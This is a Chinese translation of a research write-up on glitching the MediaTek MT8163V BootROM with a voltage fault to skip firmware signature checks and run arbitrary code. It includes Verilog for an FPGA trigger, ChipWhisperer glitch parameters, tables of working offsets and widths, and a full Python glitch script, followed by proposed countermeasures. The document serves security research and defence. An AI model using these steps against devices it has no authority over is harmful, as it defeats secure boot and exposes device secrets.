针对联发科MT8163V芯片组的硬件攻击 [翻译] Glitching The MediaTek BootROM

攻击目标:使用联发科MT8163V的某平板电脑( MediaTek MT8163V system-on-chip (64-bit ARM Cortex-A))
攻击手段:Voltage glitching
攻击过程:Boot Process
攻击目的:Bypassing signature verification for firmware checking
需要的硬件设备:带有TOE的设备,1.8v UART, 树莓派Raspberry Pi 3, Sipeed Tang Nano FPGA, ChipWhisper for voltage glitches

目前大部分的安全芯片已经针对侧信道和错误注入进行了相应的考虑和防护,对具备抗渗透攻击的安全芯片很难实现有效的攻击。而对于低功耗缺乏相应防护设计的微处理器仍然比较有效,例如针对STM32 ECU(“Shedding too much Light on a Microcontroller’s Firmware Protection”), NXP LPC(https://toothless.co/blog/bootloader-bypass-part1/)和ESP32的攻击(https://docs.espressif.com/projects/esp-idf/en/latest/esp32/security/secure-boot-v1.html)。
但是联发科MT8163V芯片组广泛应用在移动端设备、平板电脑和个人笔记本PC上,因此NCC group针对其进行的攻击分析更加有价值,下面我们进入正题,一起学习下整个攻击过程。

总体来讲,攻击是针对MediaTek BootROM进行的,攻击的结果将导致敌手可以绕过preloader阶段所有的Secure boot机制从而可以轻松执行非法的固件镜像,进而导致可信根的完全失效。

文章提出的攻击针对的是mask ROM, 因此很难通过打patch的方式进行直接修复,但是由于攻击手段的特殊性,此威胁模型需要通过物理方式对设备进行直接访问,因此敌手的攻击难度较高。

MediaTek Boot Process

首先介绍boot总体流程,通常来讲在OEM的设备制造阶段SoC会将boot policy存在efuse中,之后启动阶段bootROM会读取efuse中的policy内容并将preloader从外部eMMC中载入到RAM中,并且验证签名的有效性。BootROM作为boot阶段的第一个操作,被看作是SoC的可信根。

MediaTek的preloader是boot阶段的第二个操作并且其代码是可变的。preloader存储在Boot0的eMMC分区中,根据eMMC的文档说明这个特殊分区和user数据分区相分离。

Boot Process

Boot Process Analysis

首先MediaTek的SoC会进行存储两份preloader的镜像,如果两次签名验证都失败那么就会进去Download Mode下载态,对应的UART指令为“[DL] 00009C40 00000000 010701” 。

进入下载态,需要将preloader从flash(eMMC)载入到RAM中,eMMC的boot mode特征被启用。BootROM将eMMC进行复位并且使其进入“alternative boot mode”。这里的执行指令为两条GO_IDLE_STATE (CMD0):

  • 0xF0F0F0F0 :pre-idle状态
  • 0xFFFFFFFA :boot 状态


    eMMC into boot mode 指令.png

一旦收到以上的第二条指令,eMMC开始讲BOOT0中特殊分区中的preloader内容通过DAT0数据线已1bit的方式发送给RAM。这部分的总体时间大概在100ms。


Translating preloader on DAT0

第一个镜像文件传输结束后,立即被指令GO_IDLE_STATE中断并再次进行reset操作。


Retset after the first image transfer

当第一个preloader镜像可用时,观察到从第二个镜像文件完成最后1byte的数据到eMMC的第一个指令被preloader处理,中间大致需要2s时间。刚刚看到,第一个镜像传输完后,会进行reset操作,但是如果第一个镜像不可用(签名验证失败),而需要传输第二个镜像的情况下,不会执行reset指令,而是等到接受完第二个镜像后,才会进行reset操作,经过观察,在这种情况下从开始load第一个镜像到开始load第二个镜像间大致需要700ms的时间。


Prepare the second image

因此可以判断出,在这700ms的时间内,BootROM的操作为解析第二个镜像的结构并且进行签名验签操作,之后会进行1.2s的preloader代码初始化操作,可以看到加上刚才的700ms也是2s左右。现在可以比较的清楚的推测出,无论BootROM接受到哪一个镜像,开始的700ms左右时间是解析镜像结构和验证签名有效性的操作,因此在这个过程中执行voltage glitch攻击主要是针对验签结果判断的干扰,使得其可能跳过这个判断或者将判断结果打错。

FPGA Trigger Setup

为了精确的进行glitch触发,NCC group使用了一个非常便宜的FPGA(Sipeed Tang Nano),这个FPGA需要接入eMMC芯片的CLK、DAT0以及CMD(需要逻辑分析仪进行debug)这3个接口,以下显示的是焊接的示意图:


FPGA for trigger glitch

此FPGA的默认电压是3.3v但是在1.8v下也可以正常工作,其输入为3.3.v的触发信号并且将此信号通过输入pin脚传给ChipWhisper。

触发信号的Verilog代码非常简单:因为FPGA的时钟由eMMC驱动并且使用DAT0的一个移位寄存器从而始终记录传输线路上的最后4字节数据。如果想要的pattern一旦出现(preloader的最后4个字节),立即输出一段长度为512eMMC时钟cycles的触发信号:

always @(posedge emmc_clk or negedge sys_rst_n) begin
     capture <= capture;
     counter <= counter;
     trigger <= trigger;
     if (!sys_rst_n) begin
         trigger <= 1'b0;
         counter <= 24'b1000000000;
         capture <= 32'b0;
     end else if (counter > 0) begin
         counter <= counter - 1;
         capture <= 32'b0;
     end else if (capture == 32'h4ebbc04d) begin
         trigger <= 1'b1;
         counter <= 24'b1000000000;
     end else begin
         trigger <= 1'b0;
         capture <= {capture[31:0], emmc_dat0};
     end
 end

举例说明,以下是就是preloader的第一个镜像的最后一段数据的hex结果,例如一旦查找到最后4bytes数据为4e bb c0 4d并匹配成功,触发信号将立即发给Chipwhispher,在一段延时后将形成特定宽度的glitch信号。

Finding the last 4 bytes of first image

Glitch Target

当接收到来自FPGA的触发信号后,ChipWhisper平台负责产生voltage glitch


ChipWhisper voltage glitch connection

将一个SMA转换头焊接到平板电脑的板子上,并且通过导线与VCCK_PMU相连。ChipWhisper通过一个低功耗的MOSFET将电压拉到地对VCCK_PMU进行voltage glitch攻击。核心电压在短时间内被瞬间拉低,攻击者期望这样可以中断处理器内部的某个状态(例如寄存器中的数值),但是并不会导致整个系统的崩溃。为了可以接入VCCK_PMU,PCB上的部分焊锡可以使用小刀将其刮掉。作者发现不需要对板子上的其他器件进行改变,例如不需要移除偶尔电容等。

Overall Setup

攻击的Setup设备连接示意图显示如下


Connections of attack setup

以下是攻击平台使用的所有硬件设备:

  • 1.8v UART: A UART adapter which uses 1.8v logic level. This is used so that we can see target output and determine when a glitch attempt has succeeded ($2 USD).
  • RaspberryPi: Used to programmatically reset the target device by disabling and re-enabling USB power with uhubctl ($50 CAD, CanaKit).
  • FPGA: Passively listens to eMMC traffic and outputs glitch trigger signal to ChipWhisperer ($10 CAD, Digikey).
  • ChipWhisperer: Inserts voltage glitches after the trigger signal is activated ($325 USD, NewAE Technology).

Determining The Initial Glitch Parameters 关于ChipWhisper的初始参数设置

The following parameters were used to set up the ChipWhisperer glitch:

scope.glitch.clk_src = "clkgen" 
scope.glitch.output = "enable_only" 
scope.glitch.trigger_src = "ext_single" 
scope.clock.clkgen_freq = 16000000 
scope.io.glitch_lp = True 
scope.io.glitch_hp = False

接下来,需要确定glitch的宽度,这里作者使用手动的方式在BootROM读取preloader的过程中使用多个宽度的glitch进行尝试。发现Glitch的宽度在80-100时钟周期是可以引发preloader的多种中断结果。然而,这其中的大部分中断并不是可以利用的有效glitch。例如作者举了一个中断的结果示例:

[2176] [PART] check_part_overlapped done
[2180] [PART] load "tee1" from 0x0000000000B00200 (dev) to 0x43001000 (mem) [SUCCESS] 
[2181] [PART] load speed: 15000KB/s, 46080 bytes, 3ms
[2213] [platform] ERROR: <ASSERT> div0.c:line 41 0 
[2213] [platform] ERROR: PL fatal error... 
[2214] [platform] PL delay for Long Press Reboot

Bruteforcing the Correct Glitch Parameters 穷举Glitch有效参数

根据之前的分析,我们假设验签过程发生在最后GO_IDLE_STATE指令后的700ms内。显然我们需要在这700ms的窗口内,对其进行穷举分析。

首先,未经修改并签名后的preloader镜像会载入eMMC的BOOT0分区中。之后,将对其进行一个粗糙的glitch攻击,对应的范围为[25400, 100000],步进设置为200 cycles。这时候glitch可能产生的效果要么使得终端崩溃(UART上无返回),要么进入DL模式(Download Mode) - (“UART: [DL] 00009C40 00000000 010701”)。

之后,发现大部分的glitch并没有能够产生影响,终端顺利进入下载模式并进行数据的传输,但是经过几个小时的注入攻击,发现在某些时刻产生了异常,并且改用更加精细的glitch控制,例如将步进改为20 cycles。

按照以上的分析,需要进行暴力破解攻击,攻击者构造了一个非法的镜像,正常情况下由于签名验证失败BootROM验证不允许载入镜像,但是假设在合适的时间进行glitch攻击后则可以跳过验证过程成功载入非法镜像。经过2个小时的攻击,发现了多次成功的攻击。然而,这些偶然的成功攻击并不可靠,因此需要更加细致的调节。

接下来, 优化多个参数尝试使用不同的时间偏移和毛刺宽度。依照合适的参数,可以将攻击成功率提到到15% ~ 20%。以下统计了使用的参数和运行次数等,表明多个时间偏移和毛刺宽度可以实现成功的攻击。

Width Offset Success Run Total Runs Success Rate
94 41428 122 802 15.21%
93 41430 154 802 19.20%
94 41431 156 803 19.43%
127 41431 176 803 21.92%
129 41431 167 803 20.80%
93 41432 182 803 22.67%
115 41432 168 803 20.92%
117 41432 188 802 23.44%
126 41432 161 802 20.07%
130 41432 181 803 22.54%
117 41433 180 803 22.42%
118 41433 178 802 22.19%
129 41433 158 802 19.70%
100 41434 147 803 18.31%
103 41434 162 803 20.17%
104 41434 163 803 20.30%
128 41434 180 803 22.42%
129 41434 169 802 21.07%
130 41434 176 803 21.92%
103 41435 157 803 19.55%
104 41435 187 803 23.29%
126 41435 167 803 20.80%
128 41435 161 803 20.05%
100 41436 160 803 19.93%
102 41436 169 802 21.07%
100 41437 160 803 19.93%
102 41438 158 803 19.68%
103 41438 157 803 19.55%
104 41438 147 802 18.33%

可以看到,毛刺宽度范围为(93 - 130)时间偏移为(41428 - 41438)。文章的最后,这些参数将传给ChipWhisper的glitch脚本程序。

Payload Execution 自定义负载执行

显然更有意义的攻击是执行自定义的代码负载。因此需要替换原始镜像中的一段代码。对原始preloader二进制文件进行修改,使其跳转到原本需要执行GPT 解析的附近位置。选择这个特殊的位置是因为,作为preloader的后续阶段,一旦glitch成功注入,UART接口将不得不重新设置不同的传输速率,而在这期间需要花费一段时间并会导致preloader中的早期数据丢失。

添加的自定义负载将输出一段log消息,并且将BootROM和eFuse中的数据读出,一个成功的glitch攻击尝试将在UART的输出中展示:

Dry run 
Dry run done, go!
105 41431 b'\x00[DL] 00009C40 00000000 010701\n\r' 
105 41433 b'\x00' 
99 41432 b'\x00\n\rF0: 102B 0000\n\rF3: 4000 0036\n\rF3: 0000 0000\n\rV0: 0000 0000 [0001]\n\r00: 0007 4000\n\r01: 0000 0000\n\rBP: 0000 0209 [0000]\n\rG0: 0190 0000\n\rT0: 0000 038B [000F]\n\rJump to BL\n\r\n\r\xfd\xf0' 
Glitched after 10.936420202255249s, reopening serial!

<snip>

[1167] [Dram_Buffer] dram_buf_t size: 0x1789C0  
[1167] [Dram_Buffer] part_hdr_t size: 0x200  
[1168] [Dram_Buffer] g_dram_buf start addr: 0x4BE00000  
[1169] [Dram_Buffer] g_dram_buf->msdc_gpd_pool start addr: 0x4BF787C0  
[1169] [Dram_Buffer] g_dram_buf->msdc_bd_pool start addr: 0x4BF788C0  
[1187] [RAM_CONSOLE] sram(0x12C000) sig 0x0 mismatch 
[1188] [RAM_CONSOLE] start:   0x44400000, size: 0x10000 
[1188] [RAM_CONSOLE] sig:     0x43074244 
[1189] [RAM_CONSOLE] off_pl:  0x40 
[1189] [RAM_CONSOLE] off_lpl: 0x80 
[1189] [RAM_CONSOLE] sz_pl:   0x10 
[1190] [RAM_CONSOLE] wdt status (0x0)=0x0 

<snip> 

----------------------------------------------------------------------
MediaTek MT8163V voltage glitch proof of concept NCC Group 2020
----------------------------------------------------------------------
BootROM: 
00000000: 08 00 00 EA FE FF FF EA FE FF FF EA FE FF FF EA  
00000010: FE FF FF EA FE FF FF EA FE FF FF EA FE FF FF EA  
00000020: BB BB BB BB 38 00 20 10 00 00 A0 E3 00 10 A0 E3  
00000030: 00 20 A0 E3 00 30 A0 E3 00 40 A0 E3 00 50 A0 E3  
00000040: 00 60 A0 E3 00 70 A0 E3 00 80 A0 E3 00 90 A0 E3  
00000050: ... 

EFUSE: 
10206000: 11 00 0F 00 62 00 00 00 00 00 00 00 00 00 00 00  
10206010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206040: 00 10 02 04 00 00 50 0C 00 00 00 00 00 00 00 00  
10206050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206060: 46 08 00 00 00 00 00 00 07 00 00 00 00 00 00 00  
10206070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
10206090: 47 C8 DE F6 A6 A9 A1 8B 7A 8D 71 91 06 BC 18 86  
102060A0: 9F 97 E1 CD A3 7C 4C E8 AB E8 7F 60 E8 A6 FD 77 
102060B0: 

到此,攻击者已成功实现了攻击并且可以通过负载执行任意的代码。后续还可以基于此执行更加高权限的操作,例如加解密、加载修改的TrustZone镜像、运行恶意的LK(little kernel)/Android image等等。

Conclusion

作者对MediaTek MT8163V SoC进行的glitch攻击,并不需要太多苛刻的要求(例如时钟同步以及去除电容等),就可以获得比较高的成功概率。进过手动重启,可以将20%左右的成功从效果上提升到100%。

由于这里的脆弱点影响的是BootROM,无法简单的通过打patch的方式进行修复,并且这一批的同类型产品都会受到影响。联发科后面将会有案发新的抗glitch攻击的BootROM在其SoC平台上,但是时间和型号未知。

防护措施

硬件上的防护最有效,例如增加芯片的传感器等。
软件上的防护也不可忽视,例如:

  • 关键检查的冗余操作,攻击者不得不成功的对多个关键的判断语言进行glitch攻击,才能跳过某个安全检查。
  • 添加随机延时,在代码上添加随机延时,使得攻击者不能确定精确的攻击范围,从而加大穷举攻击的难度。
  • 完善流程的完整性控制,建议在BootROM中针对关键程序的执行路径,进行的完整性检查将会对非法代码运行、关键判断和路径跳过产生很大的影响。

附录:Glitch Source Code

import chipwhisperer as cw 
import time 
import serial 
import subprocess 
import sys 

start = time.time() 

scope = cw.scope() 
scope.glitch.clk_src = "clkgen" 
scope.glitch.output = "enable_only" 
scope.glitch.trigger_src = "ext_single" 
scope.clock.clkgen_freq = 16000000 
scope.io.glitch_lp = True 
scope.io.glitch_hp = False 

SERIAL = "/dev/ttyUSB0" 
RPI = "192.168.0.18" 

def power_off():
     subprocess.check_output(["ssh", "root@{}".format(RPI), 
                              "/root/uhubctl/uhubctl -l 1-1 -p 2 -a 0"])

def power_on():
     subprocess.check_output(["ssh", "root@{}".format(RPI), 
                              "/root/uhubctl/uhubctl -l 1-1 -p 2 -a 1"])

ser = serial.Serial(SERIAL, 115200, timeout=0.1) 

print("Dry run") 
power_off() 
scope.glitch.repeat = 10 
scope.glitch.ext_offset = 0 
scope.arm() power_on() 
for x in range(10):
     data = ser.read(100000)
power_off() 
print("Dry run done, go!")

def glitch_attempt(offset, width):
     power_off()
     scope.glitch.repeat = width
     scope.glitch.ext_offset = offset
     scope.arm()
     power_on()
     data = b""
     for x in range(30):
         data += ser.read(100000)
         if b"[DL]" in data and b"\n\r" in data:
             break
         if b"Jump to BL" in data and b"\n\r" in data:
             break
     print(width, offset, data)
     if b"Jump" in data:
         print("Glitched after {}s, reopening serial!\n\n".format(
               time.time() - start))
         ser.close()
         ser2 = serial.Serial(SERIAL, 921600, timeout=0.1)
         while True:
             data = ser2.read(10000)
             sys.stdout.buffer.write(data)
             sys.stdout.flush()
try:
     while True:
         for width, offset in [
             (105, 41431), (105, 41433), ( 99, 41432), (101, 41434),
             (127, 41430), (104, 41432), (134, 41431), (135, 41434),
         ]:
             glitch_attempt(offset, width)
finally:
     print("Turn off")
     power_off()
     print("Disable scope")
     scope.dis()
     print("Bye!\n")
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,386评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,142评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,704评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,702评论 1 294
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,716评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,573评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,314评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,230评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,680评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,873评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,991评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,706评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,329评论 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,910评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,038评论 1 270
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,158评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,941评论 2 355